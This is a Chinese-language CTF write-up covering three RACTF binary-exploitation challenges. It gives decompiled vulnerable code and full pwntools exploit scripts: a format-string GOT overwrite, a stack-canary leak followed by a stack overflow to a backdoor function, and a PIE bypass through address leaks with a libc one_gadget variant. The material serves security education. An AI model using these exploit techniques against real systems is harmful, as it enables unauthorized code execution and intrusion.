大不列颠的 Rating 0 赛,还是持续 4 天的

Not Really AI

分析

保护情况

全关

漏洞函数

简单格式化字符串

int response()
{
  char s; // [esp+0h] [ebp-208h]

  puts("How are you finding RACTF?");
  fgets(&s, 0x200, stdin);
  puts("I am glad you");
  printf(&s);
  return puts("\nWe hope you keep going!");
}

思路

有预留后门,直接找个跳转的地方改了就行,改了 puts plt 表。

exp

from pwn import *

context.log_level = 'debug'
#p = process("./nra")
p = remote("95.216.233.106",40592)

payload = '%69c%15$hhn%77c%16$hhn%114c%17$hhn%4c%18$hhn'+ p32(0x804c018)+p32(0x804c018+1)+p32(0x804c018+2)+p32(0x804c018+3)
p.recvuntil("RACTF?\n")
p.sendline(payload)

p.interactive()

Finches in a Stack

分析

保护情况

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

漏洞函数

两处栈溢出加上一个格式化字符串。

unsigned int say_hi()
{
  char *v0; // eax
  char v2; // [esp+3h] [ebp-25h]
  char s[20]; // [esp+8h] [ebp-20h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  printf("Hi! What's your name? ");
  gets(s);                                      // 栈溢出
  printf("Nice to meet you, ");
  v0 = &s[strlen(s)];
  *(_WORD *)v0 = '\n!';                         
  v0[2] = 0;                                    
  printf(s);                                    // 格式化字符串
  puts("Do YOU want to pet my canary?");
  gets(&v2);
  return __readgsdword(0x14u) ^ v4;
}

思路

有预留的后门函数,再有一个长度足够的栈溢出,有可能控制 eip 跳转到后门。程序开了 canary 那肯定要绕过,刚好有格式化字符串可以泄露 canary 值。调试一下得到偏移为: 11

# 泄露 canary
payload = 'aaaa' + "%11$p"

栈溢出控制跳转:

payload = 'b'*25 + p32(canary) + p32(flag)*4

exp

from pwn import *

context.log_level = 'debug'

#p = process("./fias")
p = remote("95.216.233.106",45107)
elf = ELF("./fias")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

flag = 0x80491D2

payload = 'aaaa' + "%11$p"
p.recvuntil("name?")
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('!',drop=True),16)
log.info("canary:"+hex(canary))

payload = 'b'*25 + p32(canary) + p32(flag)*4
p.recvuntil("canary?\n")
#gdb.attach(p)
p.sendline(payload)

p.interactive()

Finches in a Pie

分析

保护情况

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

漏洞函数

和上一题一样的栈溢出和格式化字符串,区别是这题开了 PIE。

unsigned int say_hi()
{
  char *v0; // eax
  char v2; // [esp+3h] [ebp-25h]
  char s[20]; // [esp+8h] [ebp-20h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  puts("CATCH HIM!\n");
  puts("You got him! Thank you!");
  puts("What's your name?");
  gets(s);                                      // 栈溢出
  printf("Thank you, ");
  v0 = &s[strlen(s)];
  *(_WORD *)v0 = '\n!';
  v0[2] = 0;
  printf(s);                                    // 格式化字符串
  puts("Would you like some cake?");
  gets(&v2);                                    // 栈溢出
  return __readgsdword(0x14u) ^ v4;
}

思路

和上题区别是开了 PIE ,不能直接得到后门地址,需要绕过 PIE 保护。一开始想着 partial write ,没有找到有能跳转的地方。后面改用泄露地址,计算出真实地址,从而绕过 PIE 。

用格式化字符串可以泄露出 text 段和 libc 的地址。实际测试泄露 libc 地址调用 onegadget 无效,最后还是乖乖泄露 text 段地址,调用预留后门。

'''
11 : canary 偏移
15 :0x13D9 对应的text实际地址(在main中)
'''
payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"

然后就是和上一题一样操作。

payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)

exp

泄露 text 段

from pwn import *

context.log_level = 'debug'

p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
text_leak = int(p.recvuntil('|',drop=True),16)
log.info("text_leak:"+hex(text_leak))
flag = text_leak - 0x1d0
log.info("flag:"+hex(flag))


payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)
p.recvuntil("cake?\n")

p.sendline(payload)

p.interactive()

泄露 libc (仅本地可用)

from pwn import *

context.log_level = 'debug'

p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

one_gadget = 0x5fbc5

payload = 'aaaa' + "%11$p" + "|" + "%23$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
libc_leak = int(p.recvuntil('|',drop=True),16)
log.info("libc_leak:"+hex(libc_leak))
libc_base = libc_leak - 99895
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
one_gadget += libc_base
log.info("one_gadget:"+hex(one_gadget))

payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(one_gadget)
#payload = 'bbbbb'
p.recvuntil("cake?\n")

p.sendline(payload)

p.interactive()

PIE 绕过

PIE保护详解和常用bypass手段

Last modification:June 10th, 2020 at 09:55 am